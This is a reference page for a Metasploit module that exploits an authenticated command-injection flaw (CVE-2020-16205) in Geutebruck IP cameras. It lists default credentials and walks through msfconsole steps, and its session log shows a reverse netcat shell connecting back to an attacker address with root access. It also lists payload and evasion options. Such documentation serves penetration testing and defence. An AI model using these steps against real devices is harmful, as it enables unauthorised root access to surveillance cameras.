Geutebruck testaction.cgi Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/geutebruck_testaction_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Geutebruck testaction.cgi Remote Command Execution
Module: exploit/linux/http/geutebruck_testaction_exec
Source code: modules/exploits/linux/http/geutebruck_testaction_exec.rb
Disclosure date: 2020-05-20
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): armle
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-16205
This module exploits an authenticated arbitrary command execution vulnerability within the 'server' GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'. Successful exploitation results in remote code execution as the root user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/geutebruck_testaction_exec
msf exploit(geutebruck_testaction_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
The following Geutebruck products using firmware versions <= 1.12.0.25, firmware version 1.12.13.2 or firmware version 1.12.14.5: * Encoder and E2 Series Camera models: * G-Code: * EEC-2xxx * G-Cam: * EBC-21xx * EFD-22xx * ETHC-22xx * EWPC-22xx
Many brands use the same firmware: * UDP Technology (which is also the supplier of the firmware for the other vendors) * Ganz * Visualint * Cap * THRIVE Intelligence * Sophus * VCA * TripCorps * Sprinx Technologies * Smartec * Riva
This module has been tested on a Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.14.5.
Description
This module exploits an authenticated OS command injection vulnerability (CVE-2020-16205) within the
server GET parameter of /uapi-cgi/admin/testaction.cgi when the type parameter is set to ntp.
This issue occurs due to a lack of validation on the server parameter, which allows an attacker to
inject a new line character, followed by the command they wish to execute, at which point the server will
then interpret the new string as a separate command to be executed. Successful exploitation will result in
remote code execution as the root user.
Users can find additional details of this vulnerability on the advisory page at https://us-cert.cisa.gov/ics/advisories/icsa-20-219-03.
Verification Steps
- Start the camera using default configuration
- Launch msfconsole
- Do:
use exploit/linux/http/geutebruck_testaction_exec - Do:
set httpusername <camera_username> - Do:
set httppassword <camera_password> - Do:
set lhost <metasploit_ip> - Do:
set rhosts <camera_ip> - Do:
set payload cmd/unix/reverse_netcat_gaping - Do:
checkto be sure the target is vulnerable - Do:
exploit - You should get a shell
Options
The default credentials to log on the web interface are root/admin.
### HTTPUSERNAME A username used to authenticate on the admin page. Default: root
### HTTPPASSWORD The password of the username used to authenticate on the admin page. Default: admin
Scenarios
Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.14.5.
msf5 > use exploit/linux/http/geutebruck_testaction_exec
msf5 exploit(linux/http/geutebruck_testaction_exec) > set payload cmd/unix/reverse_netcat_gaping
payload => cmd/unix/reverse_netcat_gaping
msf5 exploit(linux/http/geutebruck_testaction_exec) > set httpusername root
httpusername => root
msf5 exploit(linux/http/geutebruck_testaction_exec) > set httppassword admin
httppassword => admin
msf5 exploit(linux/http/geutebruck_testaction_exec) > set lhost 192.168.14.1
lhost => 192.168.14.1
msf5 exploit(linux/http/geutebruck_testaction_exec) > set rhosts 192.168.14.58
rhosts => 192.168.14.58
msf5 exploit(linux/http/geutebruck_testaction_exec) > exploit
[*] Started reverse TCP handler on 192.168.14.1:4444
[*] 192.168.14.58:80 - Attempting to exploit...
[*] Command shell session 3 opened (192.168.14.1:4444 -> 192.168.14.58:43392) at 2020-04-02 18:26:28 +0200
pwd
/tmp/www_ramdisk/uapi-cgi/admin
id
uid=0(root) gid=0(root)
uname -a
Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-ge52275bd #1 PREEMPT Thu Jul 25 20:25:39 KST 2019 armv5tejl GNU/Linux
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Msfconsole Usage
Here is how the linux/http/geutebruck_testaction_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/geutebruck_testaction_exec
[*] Using configured payload cmd/unix/reverse_netcat_gaping
msf6 exploit(linux/http/geutebruck_testaction_exec) > show info
Name: Geutebruck testaction.cgi Remote Command Execution
Module: exploit/linux/http/geutebruck_testaction_exec
Platform: Unix, Linux
Arch: armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-05-20
Provided by:
Davy Douhine
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword admin yes The password for the specified username
HttpUsername root yes The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /uapi-cgi/admin/testaction.cgi yes The path to the testaction page
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authenticated arbitrary command execution
vulnerability within the 'server' GET parameter of the
/uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and
G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running
firmware versions <= 1.12.0.25 as well as firmware versions
1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to
'ntp'. Successful exploitation results in remote code execution as
the root user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-16205
http://geutebruck.com
https://ics-cert.us-cert.gov/advisories/icsa-20-219-03
https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/
Module Options
This is a complete list of options available in the linux/http/geutebruck_testaction_exec exploit:
msf6 exploit(linux/http/geutebruck_testaction_exec) > show options
Module options (exploit/linux/http/geutebruck_testaction_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword admin yes The password for the specified username
HttpUsername root yes The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /uapi-cgi/admin/testaction.cgi yes The path to the testaction page
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat_gaping):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the linux/http/geutebruck_testaction_exec exploit:
msf6 exploit(linux/http/geutebruck_testaction_exec) > show advanced
Module advanced options (exploit/linux/http/geutebruck_testaction_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat_gaping):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/geutebruck_testaction_exec module can exploit:
msf6 exploit(linux/http/geutebruck_testaction_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/geutebruck_testaction_exec exploit:
msf6 exploit(linux/http/geutebruck_testaction_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/armle/adduser normal No Linux Add User
4 payload/linux/armle/exec normal No Linux Execute Command
5 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
6 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
7 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
8 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
9 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
10 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
11 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
12 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
13 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/geutebruck_testaction_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/geutebruck_testaction_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
59: res = send_request_cgi(
60: 'method' => 'GET',
61: 'uri' => '/brand.xml'
62: )
63: unless res
64: vprint_error 'Connection failed'
65: return CheckCode::Unknown
66: end
67:
68: res_xml = res.get_xml_document
69: @version = res_xml.at('//firmware').text
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2020-16205
- http://geutebruck.com
- https://ics-cert.us-cert.gov/advisories/icsa-20-219-03
- https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/
See Also
Check also the following modules related to this module:
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
- exploit/linux/http/geutebruck_instantrec_bof
- post/linux/manage/geutebruck_post_exp
Authors
- Davy Douhine
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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